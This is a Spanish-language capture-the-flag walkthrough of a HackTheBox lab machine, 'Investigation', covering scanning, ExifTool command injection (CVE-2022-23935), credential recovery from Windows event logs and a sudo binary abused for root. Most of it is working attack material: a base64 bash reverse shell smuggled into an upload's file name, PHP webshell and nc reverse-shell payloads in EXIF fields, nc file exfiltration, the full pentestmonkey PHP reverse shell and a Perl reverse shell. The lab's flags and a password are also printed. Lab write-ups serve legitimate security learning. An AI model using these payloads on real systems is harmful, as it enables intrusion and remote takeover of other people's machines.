1. Comprobación del sistema operativo
python whichSystem.py 10.10.11.197
Tiene como salida:
10.10.11.197 (ttl -> 63): Linux
2. Descubrimiento de puertos y servicios
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.197
Obtenemos como salida:
Scanned at 2023-03-08 09:36:46 CET for 11s
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
Read data files from: /usr/local/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 11.20 seconds
Raw packets sent: 66415 (2.922MB) | Rcvd: 65705 (2.628MB)
3. Comprobamos servicios y lanzamos scripts principales contra dichos puertos
nmap -sCV -p22,80 10.10.11.197
Obteniendo como salida:
Host is up (0.034s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 2f:1e:63:06:aa:6e:bb:cc:0d:19:d4:15:26:74:c6:d9 (RSA)
| 256 27:45:20:ad:d2:fa:a7:3a:83:73:d9:7c:79:ab:f3:0b (ECDSA)
|_ 256 42:45:eb:91:6e:21:02:06:17:b2:74:8b:c5:83:4f:e0 (ED25519)
80/tcp open http Apache httpd 2.4.41
|_http-title: Did not follow redirect to http://eforenzics.htb/
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: Host: eforenzics.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Debemos añadir entonces eforenzics.htb al archivo etc/hosts
4. Observamos la página web
Vemos una página web en la que podemos subir una fotografía. Probamos a subir algún fichero del estilo .php pero vemos que solo deja subir archivos con extensiones .png y .jpg.
5. Observamos la salida que produce la página
Una vez subida una foto, la aplicación muestra la salida del comando exiftool por pantalla de dicho archivo. Aquí se nos puede ocurrir meter algún comentario o descripción con algún payload dentro de la imagen. Esto lo podemos hacer con el siguiente comando:
exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg
O creando directamente una revershell con el siguiente comando:
exiftool -DocumentName="<?php system('nc 10.10.14.68 1234 -e /bin/bash'); __halt_compiler(); ?>" test.jpg
Pero si abrimos el archivo subido con la aplicación web, vemos la siguiente salida. No siendo capaces de ver el archivo subido directamente, sino una salida de la herramienta ExifTool:
ExifTool Version Number : 12.37
File Name : test.php.jpg
Directory : .
File Size : 1515 KiB
File Modification Date/Time : 2023:03:08 09:31:12+00:00
File Access Date/Time : 2023:03:08 09:31:12+00:00
File Inode Change Date/Time : 2023:03:08 09:31:12+00:00
File Permissions : -rw-r--r--
File Type : PNG
File Type Extension : png
MIME Type : image/png
Image Width : 1024
Image Height : 378
Bit Depth : 8
Color Type : RGB with Alpha
Compression : Deflate/Inflate
Filter : Adaptive
Interlace : Noninterlaced
Pixels Per Unit X : 3937
Pixels Per Unit Y : 3937
Pixel Units : meters
Exif Byte Order : Big-endian (Motorola, MM)
Document Name : <?php system('nc 10.10.14.68 1234 -e /bin/bash'); __halt_compiler(); ?>
X Resolution : 72
Y Resolution : 72
Resolution Unit : inches
Y Cb Cr Positioning : Centered
Image Size : 1024x378
Megapixels : 0.387
6. Comprobar la versión de Exiftool
Se nos ocurre mirar si existe alguna vulnerabilidad para la version de Exiftool utilizada por la pagina, la cual es la 12.37. Encontramos que hay un CVE para dicha version, el CVE-2022-23935
A mayores existe un proyecto en github en el cual ya crea un payload, y lanza un ncat escuchando. Se puede encontrar en el siguiente recurso https://github.com/0xFTW/CVE-2022-23935
Ejecutamos entonces:
python3 CVE-2022-23935.py 10.10.14.68 1234
Y subimos el archivo que se nos generó a la aplicacón web, el cual tiene el siguiente nombre:
'echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0LjY4LzEyMzQgMD4mMQ== | base64 -d | bash |'
Lo subimos, lo abrimos y comprobamos que se nos crea una revershell con el usuario www-data
7. Comprobando archivos del sistema
Luego de comprobar que usuario/usuarios había en el sistema (sólo existía el usuario smorton
), checkeamos los archivos del usuario observando que existe un archivo .msg, es decir, un archivo utilizado para la mensajería (normalmente de Outlook), en la ruta /urs/local/investigation
:
-rw-rw-r-- 1 smorton smorton 1308160 Oct 1 00:35 'Windows Event Logs for Analysis.msg'
-rw-rw-r-- 1 www-data www-data 0 Oct 1 00:40 analysed_log
Por lo que lo enviamos a nuestra maquina para checkearlo, ejecutando para ello:
% nc -w 3 10.10.14.68 1234 < 'Windows Event Logs for Analysis.msg'
# nc -l -p 1234 > out.msg
8. Observar el contenido del archivo
Intentamos observar su contenido, utilizando para ello la herramienta teamsgviewer (para archlinux), siendo capaces de ver el siguiente contenido:
Windows Event Logs for Analysis
Thomas Jones [thomas.jones@eforenzics.htb]
evtx-logs.zip
Hi Steve,
Can you look through these logs to see if our analysts have been logging on to the inspection terminal. I'm concerned that they are moving data on to production without following our data transfer procedures.
Regards.
Tom
Es decir, nos indica que hay un archivo .zip en dicho correo
9. Extracción del archivo .zip
Mediante la herramienta online encryptomatic (https://www.encryptomatic.com/viewer/) somos capaces de descargar el archivo zip, el cual tiene el nombre: evtx-logs.zip
Si extraemos dicho archivo zip obtenemos un archivo security.evtx. Este es el tipo de archivo utilizado para los EventLog de Windows.
10. Visualización del archivo .evtx
Existen varios métodos para visualizar y analizar este tipo de archivos en archlinux. Nosotros en concreto vamos a utilizar la herramienta pyhton-evtx (https://github.com/williballenthin/python-evtx) para convertir el archivo .evtx en .xml, ejecutando para ello el siguiente comando:
python /usr/bin/evtx_dump.py security.evtx > evtx-to-xml.xml
11. Obtención de datos relevantes del archivo .evtx
Buscamos por el archivo .xml algún dato o valor extraño. Para realizar esto podemos utilizar códigos normalmente utilizados por Windows como:
- 4624 -> Successful authentication
- 4625 -> Authentication error
- 4634/4647 -> Log off
- 4672 -> Login with admin permissions
En dicho archivo encontramos el siguiente evento, en el podemos observar unas posibles credenciales en el campo TargetUserName.
<Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event"><System><Provider Name="Microsoft-Windows-Security-Auditing" Guid="{54849625-5478-4994-a5ba-3e3b0328c30d}"></Provider>
<EventID Qualifiers="">4625</EventID>
<Version>0</Version>
<Level>0</Level>
<Task>12544</Task>
<Opcode>0</Opcode>
<Keywords>0x8010000000000000</Keywords>
<TimeCreated SystemTime="2022-08-01 19:15:15.374769"></TimeCreated>
<EventRecordID>11373331</EventRecordID>
<Correlation ActivityID="{6a946884-a5bc-0001-d968-946abca5d801}" RelatedActivityID=""></Correlation>
<Execution ProcessID="628" ThreadID="6800"></Execution>
<Channel>Security</Channel>
<Computer>eForenzics-DI</Computer>
<Security UserID=""></Security>
</System>
<EventData><Data Name="SubjectUserSid">S-1-5-18</Data>
<Data Name="SubjectUserName">EFORENZICS-DI$</Data>
<Data Name="SubjectDomainName">WORKGROUP</Data>
<Data Name="SubjectLogonId">0x00000000000003e7</Data>
<Data Name="TargetUserSid">S-1-0-0</Data>
<Data Name="TargetUserName">Def@ultf0r3nz!csPa$$</Data>
<Data Name="TargetDomainName"></Data>
<Data Name="Status">0xc000006d</Data>
<Data Name="FailureReason">%%2313</Data>
<Data Name="SubStatus">0xc0000064</Data>
<Data Name="LogonType">7</Data>
<Data Name="LogonProcessName">User32 </Data>
<Data Name="AuthenticationPackageName">Negotiate</Data>
<Data Name="WorkstationName">EFORENZICS-DI</Data>
<Data Name="TransmittedServices">-</Data>
<Data Name="LmPackageName">-</Data>
<Data Name="KeyLength">0</Data>
<Data Name="ProcessId">0x0000000000000180</Data>
<Data Name="ProcessName">C:\Windows\System32\svchost.exe</Data>
<Data Name="IpAddress">127.0.0.1</Data>
<Data Name="IpPort">0</Data>
</EventData>
</Event>
Por lo que probamos a conectarnos mediante ssh con el usuario smorton con la credencial encontrada (Def@ultf0r3nz!csPa$$), consiguiendo así acceso al sistema con dicho usuario.
ssh smorton@10.10.11.197
12. Flag de usuario
Somos capaces de obtener la flag de usuario -> cc43a54c052064689046a61b4a07d887
13. Observamos los SUID binaries
Empezamos la escalada de privilegios observando los SUID binaries que dispone el usuario smorton, utilizando para ello el comando # sudo -l, observando lo siguiente:
Matching Defaults entries for smorton on investigation:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User smorton may run the following commands on investigation:
(root) NOPASSWD: /usr/bin/binary
Dicho archivo se trata de un binario, el cual si lo ejecutamos obtenemos lo siguiente:
% /usr/bin/binary
Exiting...
Por lo que se nos puede ocurrir decompilarlo para observar que contiene. Para ello lo pasamos a nuestra máquina host mediante nc:
% nc -w 3 10.10.14.68 1234 < binary
# nc -l -p 1234 > binary
14. Decompilación del archivo
Podemos decompilarlo por ejemplo mediante ghydra, o directamente mediante un decompilador online como https://dogbolt.org/
Una vez decompilado podemos observar la siguiente función:
if (param_1 != 3) {
puts("Exiting... ");
// WARNING: Subroutine does not return
exit(0);
}
_Var1 = getuid();
if (_Var1 != 0) {
puts("Exiting... ");
// WARNING: Subroutine does not return
exit(0);
}
iVar2 = strcmp(*(char **)(param_2 + 0x10),"lDnxUysaQn");
if (iVar2 != 0) {
puts("Exiting... ");
// WARNING: Subroutine does not return
exit(0);
}
puts("Running... ");
__stream = fopen(*(char **)(param_2 + 0x10),"wb");
uVar3 = curl_easy_init();
curl_easy_setopt(uVar3,0x2712,*(undefined8 *)(param_2 + 8));
curl_easy_setopt(uVar3,0x2711,__stream);
curl_easy_setopt(uVar3,0x2d,1);
iVar2 = curl_easy_perform(uVar3);
if (iVar2 == 0) {
iVar2 = snprintf((char *)0x0,0,"%s",*(undefined8 *)(param_2 + 0x10));
__s = (char *)malloc((long)iVar2 + 1);
snprintf(__s,(long)iVar2 + 1,"%s",*(undefined8 *)(param_2 + 0x10));
iVar2 = snprintf((char *)0x0,0,"perl ./%s",__s);
__s_00 = (char *)malloc((long)iVar2 + 1);
snprintf(__s_00,(long)iVar2 + 1,"perl ./%s",__s);
fclose(__stream);
curl_easy_cleanup(uVar3);
setuid(0);
system(__s_00);
system("rm -f ./lDnxUysaQn");
return 0;
}
puts("Exiting... ");
// WARNING: Subroutine does not return
exit(0);
}
En dicha función podemos observar como el script espera recibir tres argumentos. El tercer argumento tiene que ser la cadena lDnxUysaQn. Mientras que al segundo parámetro le va a realizar una petición mediante la herramienta curl. Por lo que podemos intentar obtener una petición web en nuestro equipo, mediante los siguientes comandos:
% sudo binary 10.10.14.68:1234 lDnxUysaQn
En nuestra máquina ejecutamos lo siguiente:
# sudo python -m http.server 1234
Observando que recibimos la siguiente petición:
Serving HTTP on 0.0.0.0 port 1234 (http://0.0.0.0:1234/) ...
10.10.11.197 - - [08/Mar/2023 11:56:37] "GET / HTTP/1.1" 200 -
15. Intentamos servir una revershell
Esto lo podemos realizar mediante un archivo php, por ejemplo utilizando para ello la revershell de pentestmonkey:
<?php
set_time_limit (0);
$VERSION = "1.0";
$ip = '10.10.14.68'; // CHANGE THIS
$port = 1234; // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
//
// Daemonise ourself if possible to avoid zombies later
//
// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies. Worth a try...
if (function_exists('pcntl_fork')) {
// Fork and have the parent process exit
$pid = pcntl_fork();
if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
}
if ($pid) {
exit(0); // Parent exits
}
// Make the current process a session leader
// Will only succeed if we forked
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
}
$daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}
// Change to a safe directory
chdir("/");
// Remove any umask we inherited
umask(0);
//
// Do the reverse shell...
//
// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}
// Spawn shell process
$descriptorspec = array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}
// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {
// Check for end of TCP connection
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}
// Check for end of STDOUT
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}
// Wait until a command is end down $sock, or some
// command output is available on STDOUT or STDERR
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
// If we can read from the TCP socket, send
// data to process's STDIN
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}
// If we can read from the process's STDOUT
// send data down tcp connection
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}
// If we can read from the process's STDERR
// send data down tcp connection
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
if (!$daemon) {
print "$string\n";
}
}
?>
Si lanzamos un nc en nuestro equipo escuchando, a mayores de un servidor web alojando dicho archivo, y realizamos la petición observamos que el binario tiene como salida el siguiente error:
smorton@investigation:/usr/bin$ sudo binary 10.10.14.68:80/php-reverse-shell.php lDnxUysaQn
Running...
Unterminated <> operator at ./lDnxUysaQn line 1.
Decidimos entonces ejecutar un revershell basada en perl, creando para ello el siguiente archivo llamado perl.pl:
use Socket;
$i="10.10.14.68";
$p=1234;
socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));
if(connect(S,sockaddr_in($p,inet_aton($i)))){
open(STDIN,">&S");open(STDOUT,">&S");
open(STDERR,">&S");exec("/bin/bash -i");
};
Lanzamos de nuevo un servidor web (en nuestro basado en python), en nuestra máquina host, para que la maquina objetivo pueda obtener el archivo .pl
# sudo python -m http.server 80 --directory .
A mayores en nuestra máquina host, también lanzamos un nc escuchando:
# nc -l -p 1234
Por último realizamos la siguiente peticion desde la máquina objetivo:
% sudo /usr/bin/binary 10.10.14.68/perl.pl lDnxUysaQn
Vemos entonces que se nos crea una revershell con el usuario root.
16. Obtención flag usuario root
Somos entonces capaces de obtener el flag del usuario root -> ddafdb970a1d54bcaad4478c5e300056